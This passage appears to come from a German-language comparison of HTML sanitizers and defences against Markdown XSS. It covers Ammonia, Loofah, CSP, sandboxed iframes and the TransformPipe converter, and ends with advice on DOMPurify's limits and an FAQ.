Wer sollte es verwenden? JVM-Dienste. Die Builder-API ist der klarste Ausdruck von Positivlisten in jeder Sprache auf dieser Liste, was sie zu einer guten Sache macht, um sie jemandem zu zeigen, der noch nicht überzeugt ist.
Ammonia — die Rust-Antwort und das Parser-Argument
Ammonia ist ein Positivlisten-HTML-Bereiniger in Rust, gebaut auf html5ever. Sein erklärter Ansatz ist, Dokumentfragmente genauso zu parsen und zu serialisieren, wie Browser es tun, was die Eigenschaft ist, die für einen serverseitigen Bereiniger am meisten zählt.
| Vorteile | Nachteile |
|---|---|
| html5ever parst so, wie Browser es tun, was die Parser-Lücke verengt | Nur Rust, sofern Sie es nicht über Bindungen nutzen |
| Positivlisten-basiert und schnell | Weniger fertige Policies als bei bluemonday |
| Außerdem die Maschine hinter nh3 für Python | Eine kompilierte Abhängigkeit in polyglotten Builds |
Preis: kostenlos, doppelt lizenziert unter MIT oder Apache 2.0.
Wer sollte es verwenden? Rust-Dienste und — über nh3 — Python-Dienste. Auch lesenswert, wenn Sie in irgendeiner Sprache einen Server-Bereiniger auswählen, denn seine Parser-Wahl ist das Argument, das Sie auf die anderen anwenden sollten.
Loofah — die Ruby-Antwort
Loofah schrubbt HTML mit Nokogiri, mit Scrubbern, die Markup entfernen, beschneiden, maskieren oder weißwaschen. Rails' eigener HTML-Bereiniger ist darauf aufgebaut, die meisten Ruby-Anwendungen benutzen es also schon indirekt.
| Vorteile | Nachteile |
|---|---|
| Gebaut auf Nokogiri, einem gut erprobten HTML-Parser | Nur Ruby |
| Schon unter Rails' Bereiniger, es ist also im Feld gut getestet | Nokogiri ist eine native Abhängigkeit |
| Mehrere Schrubb-Strategien, nicht nur eine | Die Namen der Strategien brauchen einen Moment zum Lernen |
Preis: kostenlos, MIT-lizenziert.
Wer sollte es verwenden? Ruby- und Rails-Anwendungen. Wenn Sie Rails' sanitize-Helfer aufrufen, sind Sie schon hier; die Frage ist, ob die Positivliste Ihre ist oder die Voreinstellung des Frameworks.
Content Security Policy — die Schicht, die ein Bereiniger nicht sein kann
Eine CSP ist kein Bereiniger und konkurriert nicht mit einem. Sie beantwortet eine andere Frage: was passiert, wenn der Bereiniger falsch liegt. Ein Bereiniger versucht zu garantieren, dass kein ausführbares Markup auf die Seite gelangt; eine CSP sagt dem Browser, Markup nicht auszuführen, unabhängig davon, wie es dorthin gekommen ist.
| Vorteile | Nachteile |
|---|---|
| Wirkt auf den Fehler, den Sie noch nicht gefunden haben | Kein Ersatz für das Bereinigen; sie entfernt nichts |
script-src 'none' ist absolut auf einer Seite ohne eigene Skripte |
Eine Anwendungsseite, die ihr eigenes JavaScript ausführt, kann 'none' nicht verwenden |
base-uri 'none' und frame-ancestors 'none' schließen Vektoren, die keine Positivliste abdeckt |
Eine Policy nachträglich in eine bestehende Anwendung einzubauen ist echte Arbeit |
| Reporting-Endpunkte machen aus versuchten Injektionen Telemetrie | frame-ancestors und sandbox werden in einem <meta>-Tag ignoriert |
Preis: kostenlos, ein von Browsern implementierter Webstandard.
Technische Details und Funktionen
script-src 'none'auf einer Seite, deren einzige Aufgabe das Anzeigen von Dokumenten istbase-uri 'none'neutralisiert ein eingeschleustes<base href>, was keine Tag-Positivliste ausdrücken kannframe-ancestors 'none'verhindert, dass Ihr Dokument in der Seite eines anderen geframt wirdimg-srcundconnect-srcbegrenzen, wohin ein überlebendes Element eine Anfrage senden kann- Ausgeliefert als Response-Header oder als
<meta http-equiv>-Tag, wobei die meta-Formframe-ancestors,report-uriundsandboxignoriert
Wer sollte es verwenden? Jede Seite, die das Dokument eines anderen darstellt. Der Kompromiss ist echt: eine Seite, die ihr eigenes JavaScript ausführt, kann script-src 'none' nicht verwenden, was dafür spricht, nicht vertrauenswürdige Dokumente auf einer eigenen Route darzustellen. Ein von TransformPipe als Link geteiltes Dokument wird so ausgeliefert, und die Datei, die Sie herunterladen, hat überhaupt keine Skripte.
Ein Iframe mit Sandbox — Isolation, wenn Filtern nicht genügt
Manchmal muss das Dokument Markup behalten, das Sie nicht sicher erlauben können — ein interner Bericht mit eigenen Styles, eine dargestellte E-Mail, die Ausgabe eines Systems, das Sie nicht kontrollieren. Stellen Sie es in einem Iframe mit einem sandbox-Attribut dar, und es läuft in einem opaken Origin ohne Zugriff auf Ihre Seite.
| Vorteile | Nachteile |
|---|---|
| Isolation statt Filtern, Lücken in der Positivliste zählen also weniger | Das Layout ist jetzt Ihre Sache: Größe, Scrollen, Drucken |
sandbox ohne allow-same-origin bedeutet keinen Zugriff auf Ihren Speicher oder Ihr DOM |
allow-scripts und allow-same-origin zusammen hebeln das Ganze aus |
| Kombiniert sich mit einer CSP, statt mit ihr zu konkurrieren | Links, Fokus und Barrierefreiheit brauchen alle bewusste Verdrahtung |
Preis: kostenlos, Teil von HTML.
Wer sollte es verwenden? Jeder, der Dokumente anzeigt, deren Markup unversehrt überleben muss. Verwenden Sie es mit einem Bereiniger, nicht anstelle eines — eine Sandbox verhindert, dass ein Skript Ihre Seite erreicht, und tut nichts gegen ein Dokument, das den Leser innerhalb des Frames phisht.
TransformPipe — ein Konverter, der diese Entscheidungen schon getroffen hat
TransformPipe konvertiert Markdown in Ihrem Browser in ein vollständiges, eigenständiges HTML-Dokument. Der hier relevante Teil ist, dass das Bereinigen keine Option ist, die man vergessen kann einzuschalten: rohes HTML in der Quelle passiert eine Positivliste auf dem Weg zur Seite und auf dem Weg in die exportierte Datei.
| Vorteile | Nachteile |
|---|---|
Eine Positivliste, angewandt von DOMPurify im Browser und xss auf dem Server |
Die Positivliste ist fest: keine eigene Policy |
| Überschriften-IDs bekommen ein Präfix, erzeugte Anker können also keine Globals überdecken | Ein Dokument auf einmal, keine Build-Pipeline |
| Abgemeldet wird nichts hochgeladen — die Datei wird lokal gelesen und konvertiert | Der Browser macht die Arbeit, eine sehr große Datei hängt also von der Maschine ab |
| Der Export ist eine einzige Datei ohne externe Anfragen jeder Art | Keine Bibliothek: es konvertiert, es bettet sich nicht in Ihre Anwendung ein |
Preis: kostenlos. Ein Konto bringt Verlauf, Freigaben und eine API, ebenfalls kostenlos.
Technische Details und Funktionen
- Bereinigt das dargestellte HTML, nicht die Markdown-Quelle
- Dieselbe Positivliste auf beiden Seiten der Netzwerkgrenze, die zwei können also nicht auseinanderdriften
- Überschriften-IDs mit
doc-als Präfix, was die von Hand angewandte Verteidigung gegen DOM-Clobbering ist - Dieselbe Konvertierung aus einer REST-API, einem CLI, einer GitHub Action und einem MCP-Server
Wer sollte es verwenden? Jeder mit einer .md-Datei von anderswo und einer Person, an die er sie schicken will. Modellausgabe ist der häufige Fall: sie in eine Seite zu verwandeln, die jemand lesen kann, heißt, eine Zeichenkette darzustellen, die Sie nicht geschrieben haben, was genau das Problem ist, das dieser Text beschreibt.
Wo die naheliegende Wahl scheitert
DOMPurify ist die richtige Voreinstellung, und der ehrliche Abschnitt handelt von seinen Grenzen, denn „wir verwenden DOMPurify" ist die Stelle, an der viele Sicherheitsprüfungen aufhören.
Es braucht ein DOM, und ein gefälschtes scheitert offen. Auf einem Server liefern Sie entweder jsdom aus oder verwenden eine andere Bibliothek. Bekommt DOMPurify eine Umgebung, in der es nicht arbeiten kann, gibt es seine Eingabe unverändert zurück, statt einen Fehler zu werfen, was der schlechteste verfügbare Fehlerfall ist: eine defekte und eine funktionierende Konfiguration erzeugen für jedes Dokument ohne HTML identische Ausgabe. Der Preis dafür, das nicht zu testen, ist ein Dienst, der nie etwas bereinigt hat und keine Möglichkeit hat, es zu erfahren.
Die Voreinstellungen sind breit, und die gefährliche Voreinstellung ist aus. DOMPurifys Positivliste ab Werk ist darauf ausgelegt, allgemein nützlich zu sein, nicht minimal für Ihr Produkt, und SANITIZE_NAMED_PROPS — die Option, die DOM-Clobbering tatsächlich stoppt — ist aus, sofern Sie sie nicht einschalten. Keines von beiden ist eine Kritik an der Bibliothek; beides ist eine Kritik daran, sie zu installieren und weiterzugehen.
Ein Bereiniger kann Ihre Globals nicht kennen. id="config", id="state", id="init" — welche Namen Ihr eigener Code auf window auch anfasst — sind für ihn unsichtbar, denn kein Bereiniger liest Ihr Bundle. Jeder überlebenden ID ein Präfix zu geben ist die einzige Verteidigung, die skaliert, denn sie hört auf, von einer Liste von Namen abzuhängen, die jemand pflegen muss.
Sauber ist nicht dasselbe wie harmlos. Eine Positivliste, die <a href="https://..."> und <img src="https://..."> erlaubt, erlaubt eine Seite, die genau wie Ihr Login-Bildschirm aussieht, und ein Bild, dessen Laden einem Dritten mitteilt, wann ein Dokument geöffnet wurde. Keines von beiden führt ein Skript aus und keines von beiden ist ein XSS-Fehler. Wenn Ihr Bedrohungsmodell Phishing oder Lesebestätigungen enthält, ist der Bereiniger nicht die Kontrolle, die Sie brauchen — img-src in einer CSP kommt näher, und eine Zwischenseite bei ausgehenden Links noch näher.
Alles danach erbt das Risiko und nichts von der Garantie. Der Highlighter, der Anker-Injektor, die umhüllende Vorlage, der reguläre Ausdruck „einfach target=_blank hinzufügen": jedes davon ist eine Stelle, an der bereinigtes HTML zu unbereinigtem HTML wird, ohne sichtbare Änderung an dem Code, der den Bereiniger aufruft. Das ist der häufigste Weg, auf dem ein korrekter Bereiniger in einem Vorfallbericht landet.
Der Server kann keinen Header auf eine Datei setzen. Eine CSP ist eine Eigenschaft einer Antwort, und eine heruntergeladene .html-Datei ist keine Antwort. Von der Festplatte geöffnet hat sie keine Header, die einzige Policy, die sie tragen kann, ist also ein <meta http-equiv>-Tag — das für script-src und img-src funktioniert und für frame-ancestors und sandbox ignoriert wird. Daher das Argument für einen Export, in dem überhaupt keine Skripte stehen: ein Dokument ohne Ausführbares ist selbst auf file:// sicher, wo ein Header es nicht erreichen kann.
Ein Dokument bereinigen, das Sie gleich jemand anderem in die Hand geben
Das meiste Geschriebene über Markdown-XSS setzt eine Webanwendung voraus: Ihre Seite, Ihr Origin, Ihre Sitzung. Eine Datei zu konvertieren ist eine andere Situation mit einem anderen Satz von Pflichten.
Wenn Sie nicht vertrauenswürdiges Markdown in Ihrer Anwendung darstellen, schützen Sie Ihre Nutzer vor einem Dokument. Wenn Sie eine Markdown-Datei konvertieren und das HTML an einen Kollegen schicken, schützen Sie ihn vor einem Dokument — einem, das mit Ihrem Namen darauf ankommt, von einer Adresse, der er vertraut, vorbei an dem, was seine Organisation auch mit Anhängen von Fremden macht. Ein <script>, das Ihre Konvertierung überlebt, ist gewaschen worden.
Daraus folgen drei Dinge. Bereinigen Sie bei der Konvertierung, auch wenn die Datei „nur ein Dokument" ist, denn der Browser des Empfängers wird das, was Sie schicken, genauso bereitwillig ausführen wie Ihrer. Bevorzugen Sie einen Export ohne jegliche Skripte gegenüber einem mit sicheren Skripten, denn weder der Empfänger noch sein Mail-Gateway kann den Unterschied prüfen. Und halten Sie die Datei eigenständig, was genauso eine Sicherheitseigenschaft ist wie eine Bequemlichkeit: ein Dokument, das nichts aus dem Netz anfordert, kann nicht zurückmelden, wann es gelesen wurde, und kann sich nicht ändern, nachdem Sie es geschickt haben.
Testen Sie dann Ihre eigene Pipeline mit drei Eingaben: einem onerror-Attribut, einem javascript:-Link und einer id, die zu einem Global passt, das Ihr Code liest. Wenn eines der ersten beiden die Seite erreicht, haben Sie einen Bereiniger hinzuzufügen und wahrscheinlich einen Header zu setzen. Das dritte wird sie erreichen, und das ist der Punkt — prüfen Sie, dass es unter einem Präfix ankommt und nicht unter dem Namen, den Ihr Code liest. Wenn Sie einen Konverter auswählen, statt einen zu bauen, ist was jedes Werkzeug in der Bereinigungsstufe tut die Spalte, die zählt, und mehrere gut beleumundete Werkzeuge lassen rohes HTML absichtlich durch.
Wie Sie wählen
- Fragen Sie, ob rohes HTML eine Funktion ist, die Sie tatsächlich anbieten. Wenn nicht, maskieren Sie es und hören Sie auf:
html: falseinmarkdown-itkostet nichts in der Pflege und kann nicht umgangen werden, und die Alternative ist eine Positivliste, die Sie in drei Jahren immer noch besitzen. - Wählen Sie den Bereiniger, der dort läuft, wo das HTML dargestellt wird, und testen Sie dann, dass er scheitert. In einem Browser verwendet DOMPurify den Parser, der das Ergebnis darstellen wird, und schließt damit die Mutations-XSS-Lücke; auf einem Server bringt jede Option ihren eigenen Parser mit, wählen Sie also eine, die auf Browser-Genauigkeit zielt — und sichern Sie in Ihrer Testsuite zu, dass ein
<script>-Tag in der Produktionskonfiguration entfernt wird, denn ein falsch konfiguriertes DOM scheitert stillschweigend offen. - Schreiben Sie eine Positivliste und importieren Sie sie überall. Zwei unabhängig konfigurierte Bereiniger werden auseinanderlaufen, und an dem Tag, an dem sie es tun, liegt das Dokument, das in Ihrer Anwendung sicher dargestellt wird, mit einem
<iframe>darin gespeichert, damit der nächste Verbraucher es findet. - Setzen Sie den Bereiniger nach den Renderer und nach jede Transformation, und geben Sie jeder ID, die er behält, ein Präfix. Alles, was die HTML-Zeichenkette danach bearbeitet, sitzt außerhalb der Garantie des Bereinigers, und DOM-Clobbering braucht überhaupt kein Skript, ein Präfix an überlebenden IDs — einschließlich derer, die Ihre Überschriften-Anker erzeugen — ist also eine einzeilige Änderung, die eine ganze Fehlerklasse beendet.
- Fügen Sie den Header hinzu, den Sie brauchen würden, wenn der Bereiniger falsch läge.
script-src 'none',base-uri 'none'undframe-ancestors 'none'auf einer Route zum Anzeigen von Dokumenten machen aus einer erfolgreichen Injektion eine blockierte Anfrage; wenn Sie sie nicht verwenden können, weil die Seite Ihre Anwendung ausführt, ist das der Grund, das Darstellen von Dokumenten auf eine eigene Route zu verlegen.
Fazit
Markdown erlaubt rohes HTML, weil es so entworfen wurde, und keine Sorgfalt in einem Parser ändert das; die Sicherheit eines dargestellten Markdown-Dokuments ist eine Eigenschaft dessen, was Sie nach dem Rendern tun. Das heißt: eine schriftlich festgehaltene Positivliste, angewandt auf das dargestellte HTML, dieselbe Positivliste im Browser und auf dem Server, jede überlebende ID mit Präfix, nichts, was die Zeichenkette danach bearbeitet, und eine Content Security Policy, die für den Fehler, den Sie nicht gefunden haben, hinter allem steht. Wenn Sie diesen Code für eine Datei, die Sie nur konvertieren und schicken müssen, lieber nicht selbst besitzen wollen: die Markdown-zu-HTML-Konvertierung eines Konverters, der standardmäßig bereinigt wendet diese Schritte in Ihrem Browser an — eine Positivliste, Überschriften-IDs mit Präfix, ein Export ohne Skripte und ohne Netzwerkanfragen, kostenlos, und abgemeldet wird nichts hochgeladen.
FAQ
Ist Markdown anfällig für XSS?
Markdown selbst ist ein Textformat, aber fast jeder Markdown-Renderer lässt rohes HTML in die Ausgabe durch, was heißt, dass eine .md-Datei <script>, onerror= und javascript:-URLs direkt an den Browser tragen kann. Die Schwachstelle liegt in der Rendering-Pipeline, nicht im Format. Jede Pipeline, die Markdown darstellt, das Sie nicht geschrieben haben, braucht einen Bereiniger zwischen dem Renderer und der Seite.
Macht DOMPurify Markdown allein sicher?
Es entfernt das ausführbare Markup, was der größte Teil der Arbeit ist, und es lässt drei Lücken. Sein Schutz gegen DOM-Clobbering ist nur mit eingeschaltetem SANITIZE_NAMED_PROPS vollständig, es kann nicht wissen, welche Globals Ihr eigener Code liest, und alles, was die HTML-Zeichenkette nach seinem Lauf bearbeitet, liegt außerhalb seiner Garantie. Kombinieren Sie es mit einer Content Security Policy und behandeln Sie seine Ausgabe als endgültig.
Soll ich das Markdown oder das HTML bereinigen?
Das HTML, immer, und erst nachdem jede Transformation gelaufen ist. Markdown hat mehrere Schreibweisen für dieselbe Ausgabe, und der Renderer erfindet Markup, das in der Quelle nie stand — ein Autolink wird zu einem vollständigen Anker, eine Überschrift wird zu einer ID —, ein Filter auf der Quelle prüft also eine Zeichenkette, die nicht das ist, was ausgeliefert wird.
Genügt es, HTML zu maskieren, statt es zu bereinigen?
Wenn Ihre Nutzer HTML nicht schreiben müssen, ist Maskieren besser als Bereinigen: es erzeugt Text, es gibt also nichts zu umgehen und keine Positivliste zu pflegen. markdown-it tut das standardmäßig mit html: false. In dem Moment, in dem jemand einen <details>-Block oder eine eingebettete Tabelle braucht, sind Sie wieder bei einer Positivliste.
Wovor schützt eine Content Security Policy, wovor ein Bereiniger nicht schützt?
Vor dem Fehler in Ihrem Bereiniger. Ein Bereiniger entfernt Markup, das er als gefährlich erkennt; eine CSP sagt dem Browser, überhaupt keine Skripte auszuführen, was auch dann hält, wenn etwas durchgekommen ist. Sie schließt außerdem Vektoren, die eine Positivliste nicht ausdrücken kann, etwa ein eingeschleustes <base href> — dafür braucht es base-uri 'none'.
Kann rohes HTML in Markdown ohne jedes JavaScript Schaden anrichten?
Ja, und das ist der Teil, den Leute verpassen. Ein id-Attribut überdeckt ein Global, ein <base href> richtet jeden relativen Link auf der Seite um, ein <form action> schickt die Eingabe des Lesers anderswohin, position: fixed in einem style-Attribut bedeckt Ihre Oberfläche mit der von jemand anderem, und ein entferntes <img src> meldet, wann Ihr Dokument gelesen wurde. Keines davon braucht ein Skript-Tag.
Eine .md-Datei kam von jemandem, den ich nicht kenne — ist das konvertierte HTML sicher zu öffnen?
Nur mit einem Konverter, der bereinigt, und es lohnt sich zu wissen, mit welchem. Mehrere weit verbreitete Konverter lassen rohes HTML absichtlich durch und sagen es in ihrer Dokumentation, das <script> in der Datei wird also zu einem <script> im HTML, das Sie öffnen. Prüfen Sie das Verhalten des Werkzeugs, bevor Sie auf die Ausgabe doppelklicken, und denken Sie daran: wenn Sie dieses HTML weiterleiten, kommt es jetzt von Ihnen.